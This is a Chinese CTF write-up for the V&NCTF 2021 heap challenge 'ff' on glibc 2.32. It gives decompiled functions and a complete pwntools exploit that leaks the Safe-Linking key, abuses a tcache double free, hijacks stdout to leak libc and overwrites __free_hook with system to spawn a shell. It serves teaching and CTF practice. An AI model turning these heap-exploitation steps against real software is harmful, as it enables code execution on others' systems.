[V&NCTF 2021]ff(libc_2.32 Safe-Linking机制)

比赛时看错libc了,整了半天活。

 

checksec:

add:

__int64 add()
{
__int64 result; // rax
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]
void *size_4; // [rsp+10h] [rbp-10h]

puts("Size:");
size = myRead();
if ( size > 0x7E )
size = 127;
size_4 = malloc(size);
for ( i = 0; i <= 0xF; ++i )
{
if ( !noteList[i] )
{
noteList[i] = size_4;
idx = i;
break;
}
}
result = noteList[idx];
if ( result )
{
puts("Content:");
read(0, size_4, size);
result = 0LL;
}
return result;
}

edit:

ssize_t edit()
{
puts("Content:");
return read(0, (void *)noteList[idx], 0x10uLL);
}

delete:

void del()
{
free((void *)noteList[idx]);
}

show:

ssize_t show()
{
return write(1, (const void *)noteList[idx], 8uLL);
}

官方解题思路:

题目libc是2.32版本,新增Safe-Linking检测机制  ( 参考:https://bbs.pediy.com/thread-261985.htm)

个人觉得这道题的难点并不是Safe—Linking的绕过,而是如何正确的构造堆块

 

exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(arch='amd64',log_level='debug')
a=process("/root/ff")
#a=remote("node3.buuoj.cn",28135)
#a=gdb.debug("/root/book")
#a=process(["ld-2.32.so","./ff"],env={"LD_PRELOAD":"libc.so.6"})
elf=ELF("/root/ff")
libc=ELF("libc-2.29.so")
#one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6,0x3ac6c,0x3ac6d]

def add(size,data):
a.sendlineafter('>>','1')
a.sendlineafter('Size:',str(size))
a.sendafter('Content:',str(data))

def dele():
a.sendlineafter('>>','2')

def show():
a.sendlineafter('>>','3')

def edit(data):
a.sendlineafter('>>','5')
a.sendafter('Content:',str(data))

add(0x60,'a'*4)
dele()
show()
key=u64(a.recv(6).ljust(8,'\x00'))
print hex(key)
heap_base=key*0x1000
edit('b'*9)
dele()
edit(p64(key^(heap_base+0x10)))
add(0x60,'c'*4)
add(0x60,'\x00'*0x4e+'\x07')
dele()
add(0x40,'\x00'*6+'\x01'+'\x00'*5+'\x01'+'\x00'*8) # p1

add(0x30,'a')
add(0x10,'\x00'*8+'\xc0\x56')
add(0x40,p64(0xfbad1800)+'\x00'*0x18+'\x00')

libc_base=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1e4744
print hex(libc_base)
free_hook=libc_base+0x1e6e40
sys_addr=libc_base+0x503c0

add(0x30,p64(free_hook))
add(0x70,p64(sys_addr))
add(0x30,"/bin/sh\x00")
dele()

#gdb.attach(a)

a.interactive()

题目对edit和show有限制。只能show 1次,edit 2次。
在获取到key之后,目标地址heap_base+0x10和key异或一下就能绕过Safe-Linking。利用double free将堆块申请到heap_base+0x10的位置也就是tcache_perthread_struct。

将0x290对应的counts改为7。这样一来,执行free就能把tcache_perthread_struct放入unsortedbin

而exp中p1处的操作是为了创建0x50和0x80大小的堆块。

执行后的结果如下图

接下来创建一个size为0x40的chunk。查看tcache情况,可以看到a8处的是0x50的指针。

再创建size为0x20的chunk,这样只需要修改后四位再申请0x50的chunk就能分配至_IO_2_1_stdout_(需要爆破)

后面add(0x70,p64(sys_addr))修改free_hook的原理也是一样。0xa8+0x8*3=0xc0

 

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像